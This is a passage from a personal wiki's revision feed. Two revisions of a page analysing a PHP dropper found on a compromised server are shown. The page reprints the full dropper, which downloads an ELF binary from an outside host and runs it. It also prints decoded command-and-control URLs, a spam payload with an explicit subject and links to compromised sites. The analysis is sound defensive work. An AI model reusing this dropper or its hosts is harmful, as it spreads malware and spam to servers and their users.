* http://touch.touchpadz.com/empty22.gif&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1166</id>
		<title>PHP Shell Exploit</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1166"/>
		<updated>2015-05-07T03:39:25Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker will see the following outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;inf step=3 data=x64&amp;gt;&lt;br /&gt;
&amp;lt;inf step=4 data=downok&amp;gt;&lt;br /&gt;
&amp;lt;inf step=5 data=done data2=XXX&amp;gt;&lt;br /&gt;
&amp;lt;/shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where XXX is the return code of the shell exec which attempts to run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;XDVSN_SESSION_COOKIE&amp;lt;/code&amp;gt; environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.&lt;br /&gt;
&lt;br /&gt;
The decoded value of the environment variable:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;ps&amp;gt;10&amp;lt;/ps&amp;gt;&amp;lt;urh&amp;gt;&amp;lt;/urh&amp;gt;&amp;lt;urp&amp;gt;&amp;lt;/urp&amp;gt;&amp;lt;lt&amp;gt;500&amp;lt;/lt&amp;gt;&amp;lt;lc&amp;gt;100&amp;lt;/lc&amp;gt;&amp;lt;bs&amp;gt;20&amp;lt;/bs&amp;gt;&amp;lt;lu&amp;gt;http://sk.touchpadz.com/&amp;lt;/lu&amp;gt;&amp;lt;bu&amp;gt;http://bat.touchpadz.com/aa2.php&amp;lt;/bu&amp;gt;&amp;lt;su&amp;gt;http://stat.touchpadz.com/gj13.php&amp;lt;/su&amp;gt;&amp;lt;ldb&amp;gt;wb_001&amp;lt;/ldb&amp;gt;&amp;lt;kk&amp;gt;38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c&amp;lt;/kk&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are three URLs that the program will fetch data from.&lt;br /&gt;
# lu: hxxp://sk.touchpadz.com/ + /img/logo.gif?sessd=&#039;&#039;&#039;$ldb&#039;&#039;&#039;&amp;amp;sessc=&#039;&#039;&#039;$lc&#039;&#039;&#039;&amp;amp;sessk=&#039;&#039;&#039;$kk&#039;&#039;&#039;&lt;br /&gt;
# bu: hxxp://bat.touchpadz.com/aa2.php&lt;br /&gt;
# su: hxxp://stat.touchpadz.com/gj13.php&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;lu&amp;lt;/code&amp;gt; URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bu&amp;lt;/code&amp;gt; URL will return the spam message payload, encoded with the base64+xor encoder.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;USER&amp;gt;lula_burton&amp;lt;/USER&amp;gt;&lt;br /&gt;
&amp;lt;NAME&amp;gt;&amp;quot;Lula Burton&amp;quot;&amp;lt;/NAME&amp;gt;&lt;br /&gt;
&amp;lt;SUBJ&amp;gt;Fw:  Hairy pussy girl undress panties&amp;lt;/SUBJ&amp;gt;&lt;br /&gt;
&amp;lt;SBODY&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%&amp;quot;&amp;gt;Hairy pussy girl undress panties&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
combat,  why  none of us would be here. Thanks guys. Mission  complete&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/SBODY&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; URL will return the exploit URL that contains the PHP spammer.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1165</id>
		<title>PHP Shell Exploit</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1165"/>
		<updated>2015-05-07T03:10:51Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
